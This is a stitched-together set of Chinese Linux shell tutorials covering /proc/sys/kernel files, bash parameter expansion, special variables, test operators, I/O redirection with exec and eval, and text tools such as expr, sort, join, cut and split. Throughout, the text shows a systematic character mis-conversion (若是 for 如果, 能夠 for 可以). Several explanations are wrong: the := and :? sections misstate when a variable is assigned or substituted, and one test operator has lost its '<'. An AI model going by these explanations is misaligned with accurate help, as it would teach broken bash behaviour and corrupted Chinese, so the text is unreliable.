該目錄包括以下文件:  domainname;, ; file-max;, ; file-nr;, ; hostname;, ;  inode-max;, ; inode-nr;, ; osrelease;, ; ostype;, ;  panic;, ; real-root-dev;, ; securelevel;, ; version, 由文件名就能清晰地得知各文件功能. 
只讀文件  file-nr 給出當前打開的文件數. 
文件  file-max 給出系統所允許的最大可打開文件數. 若是 1024 不夠大的話, 能 
echo 4096 > /proc/sys/kernel/file-max
相似地, 文件  inode-nr 及文件  inode-max 指出了當前 inode 數和最大 inode 數. 
文件  ostype;, ; osrelease;, ; version 其實是  /proc/version 的子字串. 
文件  panic 能對內核變量  panic_timeout 進行讀/寫訪問.若是該值爲零, 內核在 panic 時進入(死)循環; 若是非零, 該值指出內核將自動重起的時間, 以秒爲單位. 
文件  securelevel 目前彷佛沒什麼意義 - root 無所不能. 
uptime 
該文件包含兩個數: 系統正常運行時間和總的空閒時間, 都以秒爲單位. 
version 
指明瞭當前正在運行的內核版本, 例如: Linux version 1.0.9 (
[email=quinlan@phaze]quinlan@phaze[/email]
) #1 Sat May 14 01:51:54 EDT 1994

shell變量替換:=、=、:-、-、:?、?、:+、+句法

linux bash shell變量替換::=句法、=句法、:-句法、-句法、=?句法、?句法、:+句法、+句法

      變量替換和變量默認值設置是緊密相關的。

      參數擴張是將相似於變量的參數用它的值來替換。例如以"echo $VAR"的形式調用一個簡單的變量。此外還有更多的特性能夠訪問。這個句法還包含一些沒有擴展的特性,雖然這些特性自身頗有意義。首先,這類特性執行默認變量賦值。使用這些特性時,整個表達式須要用花括號括起來。 : ${VAR:="some default"}(第一個冒號後有空格)。

 

      : ${VAR:="some default"},開始的冒號是一個正確執行非活動任務的shell命令。在這個句法中,它僅僅擴展了行中緊隨其後的全部參數。本例中,只是要在花括號內擴展參數值。在這個表達式中它是用花括號起來的一些邏輯的參數擴展。:=句法表示VAR變量將會和「some defalut」字符串進行比較。若是變量VAR尚未被設置,那麼「:=」以後表達式的值將被賦給它,這個值多是一個數字,一個字符串,或者是另一個變量。

      系統中的腳步可能須要將多個變量設置成默認值。程序員能夠在一行中給多個變量設置默認值,而不是編碼一組變量替換,這樣也使得代碼更加緊湊、易讀。下面的例子包含了程序員須要執行的各類替換操做。第一個默認值是一個顯示的串,第二個是一個顯示的整數,第三個是一個已定義的變量。 ${VAR:=」some default」} ${VAR2:=42} ${VAR3:=$LOGNAME}。

      這幾個變量替換類型和前例中的:=句法相似。由於不一樣替換類型的句法都是相同的,不過它們的意義卻略有不一樣,可能很容易混淆。在大多數狀況下,代碼中執行替換句法的地方,這些替換僅僅用某個值替換了變量,可是並無設置變量,也就是說變量並無被真正賦值。下面句法類型的定義在全部的shell聯機資料中找到的,可是這些說明一般不是很清楚。

 

(1):=句法

      在這種替換中,使用和前例中相同的:=句法來設置默認值。

       在使用「:=」進行比較時,username變量已經被定義了,可是它的值爲空。所以,這裏對echo命令使用了變量LOGNAME的值,即設置變量username的值爲LOGNAME的值。

       有了這個特殊的句法,只有當變量username已被定義,並且有一個實際的非空值時,變量username纔會被設置爲變量LOGNAME的值。和前例的主要不一樣是使用活動命令(echo)而不是被動的冒號來設置變量的默認值,當活動命令被調用時,默認賦值仍然會執行,並輸出顯示結果。

(2)=句法

      下面的語句和:=句法很是相似,可是沒有冒號。

      和前面同樣,變量username已經被定義,可是它的值爲空。在這個句法中,命令將會輸出「echo」以後語句的執行結果。由於變量username雖然爲空值,但已經被定義了,因此除了一個回車不會再有其餘輸出。只有當username變量徹底沒有定義時,纔會將其設置爲變量LOGNAME的值。

      當腳本或者函數須要依賴某些定義變量時,就要使用這種語法。它主要應用於登錄。若是一個特定環境變量尚未被定義,就能夠給它賦予腳本所須要的值。

(3):-句法

      在這個命令中,由於變量username雖然已被定義可是爲空值,echo語句將使用LOGNAME變量的值。


      這裏username變量的值保持不變。這個命令和使用=句語法的不一樣之處是,在此命令被執行前,僅僅在代碼中的"${}"句法中作替換。也就是說,echo命令將輸出LOGNAME變量的值,可是這個值不會被賦給username變量。

(4)-句法

      當刪除上述的:-語句中的冒號,即變成-的時候,由於username變量已被定義,輸出將爲空。若是未定義,就會使用LOGNAME變量的值。還有一點也與:-句法相同,即username變量的值沒有改變。


       當腳本評價或檢查系統環境的時,:-句法和-句法均可以使用。這兩種檢查基本上是相反的,它們用默認值替換變量,或者甚至於不依賴username變量是否已經被定義。若是腳本中急須要一組被定義的變量,也須要一些不應被定義的變量,那麼在腳本執行任務以前組合這兩種句法,確定能夠實現正確的設置。

(5):?句法

       使用:?句法時,若是username變量已被定義爲非空值,在echo命令中就會使用username變量的值。若是username變量已被定義但卻沒有一個真正的值(也就是說非空)或者徹底未被定義,那麼在echo命令中就會使用LOGNAME的值,而且腳本退出執行。

      若是把問號字符的參數改成某種錯誤字符,那這個語句就會在代碼調試和查找未定義變量時變得頗有用。這段代碼不只僅輸出字符串,並且會顯示代碼在腳本中所在行的位置。

(6)?句法

       從:?句法中去掉冒號使用username變量沒必要必定爲非空值。若是username只被設置爲一個空值,那麼將使用這個空值。相反的,若是username變量沒有被定義,則同前所述的:?句法,執行LOGNAME替換,腳本退出運行,並顯示退出時所在代碼行在腳本中的位置。


      在腳本調試過程當中,須要檢查變量是否已被定義或者是非空的是否,:?和?句法是很是有用的。這個代碼最大的優勢是腳本會從出錯行退出,並且會顯示出錯誤行行號。在要顯示的文本中加上相似於「is undefined」或者「has a null value」信息,能夠更清楚的說明腳本中的問題。

(7):+句法

      和前面的例子相比,這個句法有相反的做用。這是由於,只有當變量已被定義而不是未定義的時候,「${}」表達式才執行替換。


       若是這裏的username變量已被定義並且非空,所以使用LOGNAME的值。若是username變量未定義,或者已定義但爲空,則將使用空值。在任何狀況下,username變量的值都不會改變。

(8)+句法

       若是去掉前例:+中的冒號成+,表示一旦變量username被定義,「${}」表達式都將使用LOGNAME的值;進行這個替換時,username變量不須要有一個實際的值(即非空值)。如

       「:+」、「+」句法的用法不少是和「:-」、「-」句法的用法相同的。最主要的區別是「:+」、「+」示例檢查的是一個已定義的變量,而不是未定義的變量。這類相似於加法、減法——一枚硬幣的兩面。

 Shell總結(整理)

1、簡介

      Shell各方面的編程內容總結下來並不斷更新,以便之後使用時查詢。

2、詳解

一、Shell輸出不換行

      實現類echo的簡單硬輸出,不自動加換行符。

[html] view plain copy
 
 
  1. #將腳本接收的參數做爲一個串($@或$*)處理,並去掉尾部可能存在的換行符(\n)  
  2. #!/bin/bash  
  3. echo -n "$*"                         #方法一:-n參數,輸出腳本參數,強制不換行  
  4.   
  5. printf "%s" "$*"                     #方法二:格式化輸出命令printf,格式串無換行  
  6.   
  7. echo "$*" | tr -d '\n'               #方法三:轉換/刪除命令tr,-d刪除字符集中的字符  
  8.   
  9. echo "$*" | awk '{printf("%s", $0)}' #方法四:模式-命令指令awk  

二、建立shell腳本庫

       建立shell腳本庫library.sh(裏面僅包括各類自定義的函數封裝,因非函數引入時會執行)。在其餘的腳本中須要使用庫中函數時加入語句source ./library.sh,其中./library.sh是庫的相對路徑。而且source的縮寫是".",所以等價. ./library.sh。而後就能夠按正常方式調用庫中的函數了。

三、shell特殊變量

$0       :當前腳本的文件名
$num :num爲從1開始的數字,$1是第一個參數,$2是第二個參數,${10}是第十個參數
$#       :傳入腳本的參數的個數
$*        :全部的位置參數(做爲單個字符串) 
$@     :全部的位置參數(每一個都做爲獨立的字符串)。
$?       :當前shell進程中,上一個命令的返回值,若是上一個命令成功執行則$?的值爲0,不然爲其餘非零值,經常使用作if語句條件
$$       :當前shell進程的pid
$!        :後臺運行的最後一個進程的pid
$-        :顯示shell使用的當前選項
$_       :以前命令的最後一個參數

、svn提交代碼

$svn st | grep '^[AMD]' | cut -c 9- | xargs svn ci -m "commit"

五、遞歸清除.SVN文件

find . -name ".svn" -exec rm -rf {} \;

六、Shell符號<<<

三個小於號的語法:command [args] <<<["]$word["];$word會展開並做爲command的stdin。
例如:
echo "abc123" | cracklib-check等價於cracklib-check <<< "abc123"
echo "abc123" | passwd root --stdin等價於passwd root <<< "abc123"

七、Shell比較判斷

[html] view plain copy
  1. [ -a FILE ]  若是 FILE 存在則爲真。    
  2. [ -b FILE ]  若是 FILE 存在且是一個塊特殊文件則爲真。    
  3. [ -c FILE ]  若是 FILE 存在且是一個字特殊文件則爲真。    
  4. [ -d FILE ]  若是 FILE 存在且是一個目錄則爲真。    
  5. [ -e FILE ]  若是 FILE 存在則爲真。    
  6. [ -f FILE ]  若是 FILE 存在且是一個普通文件則爲真。    
  7. [ -g FILE ]  若是 FILE 存在且已經設置了SGID則爲真。    
  8. [ -h FILE ]  若是 FILE 存在且是一個符號鏈接則爲真。    
  9. [ -k FILE ]  若是 FILE 存在且已經設置了粘制位則爲真。    
  10. [ -p FILE ]  若是 FILE 存在且是一個名字管道(F若是O)則爲真。    
  11. [ -r FILE ]  若是 FILE 存在且是可讀的則爲真。    
  12. [ -s FILE ]  若是 FILE 存在且大小不爲0則爲真。    
  13. [ -t FD ]  若是文件描述符 FD 打開且指向一個終端則爲真。    
  14. [ -u FILE ]  若是 FILE 存在且設置了SUID (set user ID)則爲真。    
  15. [ -w FILE ]  若是 FILE 若是 FILE 存在且是可寫的則爲真。    
  16. [ -x FILE ]  若是 FILE 存在且是可執行的則爲真。    
  17. [ -O FILE ]  若是 FILE 存在且屬有效用戶ID則爲真。    
  18. [ -G FILE ]  若是 FILE 存在且屬有效用戶組則爲真。    
  19. [ -L FILE ]  若是 FILE 存在且是一個符號鏈接則爲真。    
  20. [ -N FILE ]  若是 FILE 存在 and has been mod若是ied since it was last read則爲真。    
  21. [ -S FILE ]  若是 FILE 存在且是一個套接字則爲真。    
  22. [ FILE1 -nt FILE2 ]  若是 FILE1 has been changed more recently than FILE2, or 若是 FILE1 exists and FILE2 does not則爲真。    
  23. [ FILE1 -ot FILE2 ]  若是 FILE1 比 FILE2 要老, 或者 FILE2 存在且 FILE1 不存在則爲真。    
  24. [ FILE1 -ef FILE2 ]  若是 FILE1 和 FILE2 指向相同的設備和節點號則爲真。    
  25. [ -o OPTIONNAME ]  若是 shell選項 「OPTIONNAME」 開啓則爲真。    
  26. [ -z STRING ]  「STRING」 的長度爲零則爲真。    
  27. [ -n STRING ] or [ STRING ]  「STRING」 的長度爲非零 non-zero則爲真。    
  28. STRING1 == STRING2 ]  若是2個字符串相同。 「=」 may be used instead of 「==」 for strict POSIX compliance則爲真。    
  29. [ STRING1 != STRING2 ]  若是字符串不相等則爲真。   
  30. [ STRING1 STRING2 ]  若是 「STRING1」 sorts before 「STRING2」 lexicographically in the current locale則爲真。    
  31. [ STRING1 > STRING2 ]  若是 「STRING1」 sorts after 「STRING2」 lexicographically in the current locale則爲真。    
  32. [ ARG1 OP ARG2 ] 「OP」 is one of -eq, -ne, -lt, -le, -gt or -ge. These arithmetic binary operators return true if 「ARG1」 is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to 「ARG2」, respectively. 「ARG1」 and 「ARG2」 are integers.   
  33. if [[ $a != 1 && $a != 2 ]] 若是是&&、||、<和>,必須使用在[[ ]]條件判斷結構中,等價與if [ $a -ne 1] && [ $a != 2 ]或if [ $a -ne 1 -a $a != 2 ]  

 shell淺談之八I/O重定向

1、簡介

      I/O重定向用於捕獲一個文件、命令、程序或腳本甚至代碼塊的輸出,而後把捕獲到的輸出做爲輸入發送給另一個文件、命令、程序或腳本等。I/O重定向最經常使用的方法是管道(管道符"|")。

2、詳解

一、管道

(1)管道技術是Linux間的一種通訊技術,利用先進先出排隊模型來指揮進程間的通訊(可看成鏈接兩個實體的一個單向鏈接器)。Linux管道可用於應用程序之間、linux命令之間、應用程序與命令間的通信。shell編程指利用管道進行Linux命令之間的通訊。

      管道通訊的格式:command1 | command2 | command3 | ... | commandn,command1執行後若是沒有管道則輸出結果直接顯示在shell上,當shell遇到管道符"|"後會將command1的輸出發送到command2做爲command2的輸入。

      例:ls -l | grep vi | wc -l,在三個命令之間創建兩根管道,第一個命令ls -l的輸出做爲grep vi 的輸入,第二個命令在管道輸入下執行後的輸出做爲第三個命令wc -l的輸入,第三個命令在管道輸入下執行命令將結果輸出到shell。這是一個半雙工通訊,因通訊是單向的,則兩個命令之間的具體工做是由linux內核來完成的。

 (2)sed、awk和管道

       sed、awk能夠從文件讀取輸入數據,也能夠從管道得到輸入數據。

       sed命令的格式是:| sed [選項] 'sed命令',表示sed對管道輸入的數據進行處理。例:ls -l | sed -n '1,5p',表示打印ls -l命令結果的第1~5行。例:cat passwd | sed -n '/root/p' | sed -n '/login/p',查找文件中包含root和login兩個關鍵字的行。例:variable1="Hello world";variable2=`echo $variable1 | sed "s/world/Sir/g"`;echo $variable2,對變量中字符串進行替換。

       awk的命令格式是:| awk [-F 域分隔符] 'awk程序段'(能夠用awk代替expr的使用),例:echo $string | awk '{print length($0)}',計算string字符串的長度。echo $string | awk '{print substr($0, 1, 8)}',抽取string字符串中第1~8個字符做爲字串輸出。

  

      注意:管道將字符串做爲awk的輸入數據時,awk將管道輸入看成輸入文件。awk能夠解析變量名,但這必需要在該變量從管道輸入的狀況下,如上若字符串變量不從管道輸入時,awk沒法解析變量名。

       awk使用管道,例:awk -F ':' '{print $1 | "sort"}' /etc/passwd,awk將分隔符指定爲冒號,將打印結果經過管道傳輸給sort命令進行排序,而後輸出。特別注意的是awk中調用Linux命令時須要用雙引號將這些命令引發來。

      awk處理shell命令輸出,須要引入getline函數將shell命令的輸出保存到變量中,awk再對該變量進行處理。例:awk 'BEGIN{while (("ls /usr" | getline data) > 0) print data}',awk在BEGIN字段中使用了while循環將ls /usr命令的結果逐個傳給getline data,並打印data變量,直到ls /usr命令的結果所有處理結束。例:df -k | awk '$4 > 1000000',df -k列出文件系統控件信息,第四個域是剩餘空間量,輸出可用空間大於1GB的文件系統。

      對shell命令結果進行處理,必須將結果經過管道傳給getline函數,若是結果較多則要使用循環。也能夠不將shell命令放在awk內部,awk一樣也能夠對shell命令進行處理。

二、I/O重定向

(1)I/O重定向是一個過程,這個過程捕捉一個文件、命令、程序或腳本,甚至代碼塊的輸出,而後把捕捉到的輸出做爲輸入發送給另一個文件、命令、程序或腳本。

(2)文件描述符

     文件描述符是從0開始到9的結束的整數,指明瞭與進程相關的特定數據流的源。當Linux系統啓動一個進程(該進程可能用於執行shell命令)時,將自動爲該進程打開三個文件:標準輸入(文件標識符爲0)、標準輸出(1標識)和標準錯誤輸出(2標識),若要打開其餘的輸入或輸出文件則從整數3開始標識。默認狀況下,標準輸入與鍵盤輸入相關聯,標準輸出與標準錯誤輸出與顯示器相關聯。

     Shell從標準輸入讀取輸入數據,將輸出送到標準輸出,若是該命令在執行過程當中發生錯誤,則將錯誤信息輸出到標準錯誤輸出。

     tee命令將shell的輸出從標準輸出複製一份到文件中,tee命令加-a表示追加到文件的末尾。

(3)I/O重定向符號

     I/O重定向符號分爲:基本I/O重定向符號和高級I/O重定向符號(與exec命令有關)。

    基本I/O重定向符號及其意義以下:

       >|符號是強制覆蓋文件的符號,若是noclobber選項開啓(set -o noclobber),表示不容許覆蓋任何文件,此時>|可強制將文件覆蓋。n>> file、n>|file與n>file都是將FD爲n的文件重定向到file文件中。

      <是I/O重定向的輸入符號,它可將文件內容寫到標準輸入之中。wc -l < newfile,其中shell從命令行會「吞掉」<newfile並啓動wc命令。

      <<delimiter(delimiter爲分界符),該符號代表:shell將分界符delimiter以前的全部內容做爲輸入,cat > file << FIN,輸入FIN後按回車鍵結束編輯,輸入內容重定向到file文件中。其另外一種形式:-<<delimiter,在<<前加一個負號,這樣輸入文本行全部開頭的"Tab"鍵都會被刪除,但開頭的空格鍵卻不會被刪除,如cat > file -<< FIN。

     高級I/O重定向符號及其意義:

(4)exec命令

exec命令能夠經過文件描述符打開或關閉文件,也可將文件重定向到標準輸入及將標準輸出重定向到文件。

 

[cpp] view plain copy
 
 
  1. #使用exec將stdin重定向到文件  
  2. #!/bin/bash           
  3.   
  4. exec 8<&0           #FD 8是FD 0的副本,用於恢復標準輸入  
  5. exec < file         #將標準輸入重定向到file         
  6. read a              #讀取file的第一行  
  7. read b              #讀取file的第二行  
  8.   
  9. echo "----------------"  
  10. echo $a             #標準輸出  
  11. echo $b             #標準輸出  
  12.   
  13. echo "close FD 8:"  
  14. #exec 0<&8 8<&-     #將FD 8複製到FD 0,恢復FD 0,並關閉FD 8,其餘進程能夠重複使用FD 8  
  15. echo -n "Enter Data:"  
  16. read c              #read從標準輸入讀取數據  
  17. echo $c  
[cpp] view plain copy
  1. #exec將標準輸出從定向到文件  
  2. #!/bin/bash  
  3. exec 8>&1                 #FD 8是FD 1的副本,用於恢復FD 1  
  4. exec > log                #將標準輸出重定向到log,>符號等價於1>符號  
  5. echo "Output of date command:"  
  6. date                      #date和df命令  
  7. echo "Output of df command:"  
  8. df  
  9.   
  10. exec 1>&8 8>&-            #FD 8複製到FD 0,FD 0恢復爲標準輸出,並關閉FD 8     
  11. echo "--------------------------------"  
  12. cat log                   #查看log文件             
[cpp] view plain copy
 
 
  1. # &>file將stdout和stderr重定向到文件  
  2. #!/bin/bash  
  3. exec 8>&1 9>&2      #FD 1複製到FD 8,FD 2複製到FD 9  
  4. exec &> log         #&>符號將stdout和stderr重定向到文件log  
  5.   
  6. ls z*               #錯誤寫入文件log  
  7. date                #輸出寫入文件log  
  8. exec 1>&8 2>&9 8<&- 9<&-      #恢復關閉操做  
  9. echo "-----------------"  
  10. echo "Close FD 8 and 9:"  
  11. ls z*  
  12. date  
(5)代碼塊重定向

      代碼塊重定向是指在代碼塊內將標準輸入或標準輸出重定向到文件,而在代碼塊以外仍是保留默認狀態。能夠重定向的代碼塊能夠是while、until、for等循環結構、能夠是if/then測試結構、還能夠是函數。代碼塊輸入重定向符號是<,輸出重定向符號是>。
      while循環的重定向:

 

[cpp] view plain copy
 
 
  1. #while循環的重定向  
  2. #!/bin/bash  
  3.   
  4. ls /etc > log                    #將ls /etc的結果寫到log文件中  
  5.    
  6. while [ "$filename" != "rc.d" ]  #搜索log文件中第一次與rc.d匹配的行,並輸出行數  
  7. do                               #不匹配時,執行while循環體  
  8.   read filename                    
  9.   let "count +=1"  
  10. done < log                       #將while代碼塊的標準輸入重定向到log文件  
  11.   
  12. echo "$count times read"         #測試循環體外的標準輸入是否被重定向  
  13. echo -n "-----Input Data:-----"  
  14. read test                        #最終是從標準輸入獲取數據  
  15. echo $test  
      for循環的重定向:
[cpp] view plain copy
 
 
  1. #for循環的重定向  
  2. #!/bin/bash  
  3.   
  4. ls /etc > log                  #將ls /etc的結果寫到log文件中  
  5.   
  6. maxline=$(wc -l < log)         #計算log文件的最大行數,賦給maxline            
  7.   
  8.   
  9. for filename in `seq $maxline` #seq命令產生循環參數,至關於for filename in 1,2,...,maxline  
  10. do  
  11.  read filename                 #按行讀取log文件數據  
  12.   
  13.  if [ "$filename" = "rc.d" ]   #if指定跳出循環的條件  
  14.  then  
  15.    break  
  16.  else  
  17.    let "count +=1"             #不匹配,計數器count加1  
  18.  fi  
  19. done < log                     #for代碼塊中將標準輸入重定向到log文件  
  20.   
  21. echo "$count:times read"  
  22.   
  23. echo -n "-----Input Data:-----" #測試for外標準輸入是否被重定向  
  24. read test  
  25. echo $test  
      if/then結構的重定向,命令格式是(重定向符號要放在fi關鍵字後面):

 

[cpp] view plain copy
  1. #if/then結構的輸出重定向  
  2. #!/bin/bash  
  3. if [ -z "$1" ]                          #若是位置參數$1爲空  
  4. then  
  5.  echo "Positional Parameter is NULL"    #將該語句重定向輸入到log文件  
  6. fi > log                                #if/then代碼塊輸出重定向到log文件  
  7.   
  8. echo "------Normal Stdout --------"     #代碼塊外的標準輸出是否被重定向  
       代碼塊重定向在必定程度上加強了shell腳本處理文本文件的靈活性,它可讓一段代碼很方便地處理一個文件(只要該文件輸入重定向到該代碼塊)。

三、命令行處理

(1)流程

      shell從標準輸入或腳本讀取的每一行稱爲管道(pipeline),每一行包含一個或多個命令,這些命令用管道符隔開,shell對每個讀取的管道處理流程以下(命令行的處理步驟是由shell自動完成。):

      例如在/root目錄下輸入:echo ~/i* $PWD `echo hello world` $((21*20)) > output,shell處理該命令步驟:

1)shell首先將命令行分割成令牌(令牌以元字符分隔),> output雖被識別但它不是令牌。

2)檢測第一個單詞echo是否爲關鍵字,echo不是開放關鍵字,命令行繼續。

3)檢測echo是否爲別名,echo不是,命令行繼續。

4)掃描命令行是否須要花括號展開,該命令無花括號,則命令行繼續處理。

5)掃描命令行是否須要波浪號展開,存在則展開:echo /root/i* $PWD `echo hello world` $((21*20))。

6)掃描命令行中是否存在變量,若存在則替換,存在PWD,命令行變爲:echo /root/i* /root`echo hello world` $((21*20)) 。

7)掃描命令行中是否存在反引號,若存在則替換,存在則命令行變爲:echo /root/i* /roothello world $((21*20)) 。

8)執行命令行中的算術運算,則命令行變爲:echo /root/i* /roothello world 420 。

9)shell對前面全部展開所產生的結果進行再次掃描,依據$IFS對結果進行單詞分割。

10)掃描命令行中的通配符並展開,展開後命令行變爲:echo /root/install.log /root/install.log.syslog /root hello world 420。

11)此時,shell已經準備執行命令了,它尋找echo(echo是內建命令)。

12)shell執行echo,此時執行>output的I/O重定向。

(2)eval命令

      上圖中從執行命令步驟跳轉到初始步驟,這正是eval命令的做用。eval命令將其參數做爲命令行,讓shell從新執行該命令行。eval在處理簡單命令時,與直接執行該命令無區別。若是變量中包含任何須要shell直接在命令中看到的字符,就須要使用eval命令。命令結束符(;,|,&)、I/O重定向符(<和>)及引號這些對shell具備特殊意義的符號,必須直接出如今命令行中。

[cpp] view plain copy
 
 
  1. #eval從新提交shell  
  2. #!/bin/bash  
  3.   
  4. while read NAME VALUE     #第一列做爲變量名,第二列做爲變量值  
  5. do  
  6.   eval "${NAME}=${VALUE}" #第1輪變量替換,eval從新提交shell完成賦值操做  
  7. done < evalsource         #輸入重定向  
  8. echo "var1=$var1"         #變量賦值  
  9. echo "var2=$var2"   
  10. echo "var3=$var3"   
  11. echo "var4=$var4"   
  12. echo "var5=$var5  

 

3、總結

(1)I/O重定向、管道、文件描述符、exec、eval等在shell編程中有很重要的地位,需增強練習。

(2)瞭解Shell處理命令行的流程有助於理解命令的執行方式,幫助寫出高效率簡單的腳本,理解其流程還需參看更多的文檔。

(3)在shell編程中不斷強化其中的概念,進一步消化。
 

shell淺談之六字符串和文件處理

1、簡介

      Bash Shell提供了不少字符串和文件處理的命令。如awk、expr、grep、sed等命令,還有文件的排序、合併和分割等一系列的操做命令。grep、sed和awk內容比較多故單獨列出,本文只涉及字符串的處理和部分文本處理命令。

2、字符串處理

一、expr命令

expr引出通用求值表達式,能夠實現算術操做、比較操做、字符串操做和邏輯操做等功能。

(1)計算字符串長度

字符串名爲string,能夠使用命令${#string}或expr length $string兩種方法來計算字符串的長度。若string包括空格,需用雙引號引發來(expr length後面只能跟一個參數,string有空格會看成多個參數處理)。

(2)子串匹配索引

      expr的索引命令格式爲:expr index $string $substring(子串),在字符串$string上匹配$substring中字符第一次出現的位置,匹配不到,expr index返回0。

"wo"在字符串string中雖然出如今第7,但仍是返回o首次出現的位置5。

(3)子串匹配的長度

       expr match $string $substring,在string的開頭匹配substring字符串,返回匹配到的substring字符串的長度,若string開頭匹配不到則返回0,其中substring能夠是字符串也能夠是正則表達式。

"world"儘管在string中出現,可是未出如今string的開頭處,所以返回0。

(4)抽取子串

Bash Shell提供兩種命令#{...}和expr實現抽取子串功能。

其中#{...}有兩種格式。

格式一:#{string:position}從名稱爲$string的字符串的第$position個位置開始抽取子串,從0開始標號。

格式二:#{string:position:length}增長$length變量,表示從$string字符串的第$position個位置開始抽取長度爲$length的子串。

(都是從string的左邊開始計數抽取子串)

#{...}還提供了從string右邊開始計數抽取子串的功能。

格式一:#{string: -position},冒號與橫槓間有一個空格

格式二:#{string:(-position)}

expr substr也可以實現抽取子串功能,命令格式:expr substr $string $position $length,與#{...}最大不一樣是expr substr命令從1開始進行標號。

接着使用正則表達式抽取子串的命令,但只能抽取string開頭處或結尾處的子串。

抽取字符串開頭處的子串,格式一:expr match $string ''。格式二:expr $string : '',其中冒號先後都有一個空格。

抽取字符串結尾處的子串,格式一:expr match $string '.*'。格式二:expr $string : '.*'。.*表示任意字符的任意重複。

(5)刪除子串

刪除子串是指將原字符串中符合條件的子串刪除,命令只有${...}格式。

從string開頭處刪除子串,格式一:${string#substring},刪除開頭處與substring匹配的最短子串。格式二:${string##substring}刪除開頭處與substring匹配的最長子串。其中substring並不是是正則表達式而是通配符。

從string結尾處開始刪除,格式一:${string%substring},刪除結尾處與substring匹配的最短子串。格式二:${string%%substring}刪除結尾處與substring匹配的最長子串。與上述命令僅在#和%之間不一樣。

(6)替換子串

替換子串命令都是${...},能夠在任意處、開頭處、結尾處替換知足條件的子串。其中的substring都不是正則表達式而是通配符。

在任意處替換子串命令,格式一:${string/substring/replacement},僅替換第一次與substring相匹配的子串。格式二:${string//substring/replacement},替換全部與substring相匹配的子串。

在開頭處替換與substring相匹配的子串,格式爲:${string/#substring/replacement}。

在結尾除替換與substring相匹配的子串,格式爲:${string/%substring/replacement}。

3、對文件的排序、合併和分割

      文本處理命令包括sort命令、uniq命令、join命令、cut命令、paste命令、split命令、tr命令和tar命令,它們實現對文件記錄排序、統計、合併、提取、粘貼、分割、過濾、壓縮和解壓縮等功能,它們與sed和awk構成了linux文本處理的全部命令和工具。

(1)sort命令

sort命令是一種對文本排序的工具,它將輸入文件看作由多條記錄組成的數據流,而記錄由可變寬度的字段組成,以換行符做爲定界符。sort命令格式:sort [選項] [輸入文件]

       sort命令默認的域分隔符是空格符,-t選項可用於設置分隔符。sort -t: test中-t與":"之間是沒有空格的。未指定-t分隔符是空格符,這時記錄內開頭與結尾的空格都將被忽略,如(空格):root:(空格)則只有一個域,-t:指定冒號則這條記錄就包含了三個域。

         sort命令默認是按第1個域進行排序的,也能夠經過-k選項指定某個域進行排序。例如:sort -t: -k3 test。

       sort命令-n選項能夠指定根據數字大小進行排序(不按字母順序排序)。

       sort命令-r選項用於將排序結果逆向顯示,如使用-n按數字從小到大排序後,使用-r選項將結果逆向顯示。

       sort命令-u選項去掉排序結果中的重複行。

       sort命令-o選項加上文件名將結果保存到另外一個文件中(sort默認將排序後的結果輸出到屏幕上)。

       sort命令-m選項將兩個排好序的文件合併成一個排好序的文件,在文件合併前它們必須已經排好序。-m選項對未排序的文件合併是沒有任何意義的。

       sort和awk都是分域處理文件的工具,二者結合起來能夠有效地對文本塊進行排序。

(2)uniq命令

      uniq命令用於去除文本文件中的重複行,相似sort -u,但uniq命令去除的重複行必須是連續重複出現的行,中間不能夾雜任何其餘文本行,而sort -u命令使全部的重複記錄都被去掉。

      uniq命令有3個選項:

 uniq -c test,打印每行在文本中重複出現的次數。

(3)join命令

      join命令用於實現兩個文件中記錄的鏈接操做,將兩個文件中具備相通域的記錄選擇出來,再將這些記錄全部的域放在一行(包含來自兩個文件的全部域)。如join -t: a.txt b.txt,將a.txt和b.txt具備共同域的記錄鏈接到一塊兒。

       join命令的結果默認是不顯示這些未進行鏈接的記錄,-a和-v選項用於顯示這些未進行鏈接的記錄,-a1和-v1指顯示文件1中未鏈接的記錄,而-a2和-v2指顯示文件2中的未鏈接記錄。-a與-v的區別是:-a顯示以共同域進行鏈接的結果和未進行鏈接的記錄,而-v則不顯示以共同域進行鏈接的記錄。

       join命令默認顯示鏈接記錄在兩個文件中的全部域,並且按順序。-o選項用於改變結果顯示的格式,能夠指定顯示哪幾個域、按什麼順序顯示這些域。例如:join -t: -o1.1 2.2 1.2 a.txt b.txt,其中-o1.1 2.2 1.2表示顯示格式依次顯示第1個文件中的第1個域、第2個文件中的第2個域、第1個文件中的第2個域,結果顯示三個域。

     join -t: -i -1 3 -2 1 a.txt b.txt,文件1的第3個域和文件2的第1個域進行鏈接,-i忽略大小寫。join命令在對兩個文件進行鏈接時,兩個文件必須都是按照鏈接域排好序的。

(4)cut命令

cut命令用於從標準輸入或文本文件中按域或行提取文本,cut [選項] 文件,cut的選項以下:

      cut -c1-5 a.txt,提取a.txt的第1~5個字符。-c有三種表示方式:-cn表示第n個字符、-cn,m表示第n個字符和第m個字符、-cn-m表示第n個字符到第m個字符。-c是按字符提取文本的,無須使用-d改變域分隔符,-f按域提取文本時就須要使用-d設置域分隔符了。-f一樣也能夠用三種方式指定域數或域範圍。

     cut能夠靈活提取文本文件中的內容,默認將提取內容放在標準輸出上,也能夠使用文件重定向來將內容保存到文件。
(5)paste命令

paste命令用於將文本文件或標準輸出中的內容粘貼到新的文件,它能夠未來自不一樣文件的數據粘貼到一塊兒,造成新的文件。paste命令格式:paste [選項] file1 file2,其選項以下:

       paste FILE1 FILE2,粘貼FILE1和FILE2,FILE1在前,將FILE1的內容做爲每行記錄的第1域、FILE2的內容做爲第2域。能夠使用-d設置域分隔符paste -d: FILE1 FILE2。

      paste命令默認是將一個文件按列粘貼的,-s選項能夠實現將一個文件按行粘貼。

      ls | paste -d" " - - - -,從標準輸入中讀取數據時"-"選項才起做用,"-"表示讀取1次標準輸入數據即讀取到標準輸入數據中的一個域,- - - - 每行顯示4個文件名。

(6)split命令

split命令用於將大文件切割成小文件,split能夠按照文件的行數、字節數切割文件,並能在輸出的多個小文件中自動加上編號。split命令格式:splite [選項] 待切割的大文件 輸出的小文件。

      split -2 a.txt final.txt,按2行對a.txt進行切割,每2行記錄切割成1個文件。split命令在final.txt後面自動加上編號以區分不一樣的小文件,編號爲aa~zz。

      split -b100 a.txt,-b選項在切割文件時僅考慮了文件大小並未考慮記錄的完整性。split -C100 a.txt,按100B切割a.txt,按-C並不嚴格按照100B的大小進行切割,而是在切割時儘可能維持每行的完整性。

(7)tr命令

tr命令實現字符轉換功能,相似於sed命令,tr能實現的功能sed命令均可以實現。tr [選項] buffer1 buffer2 < outputfile,其選項有三個,它只能從標準輸入讀取數據。

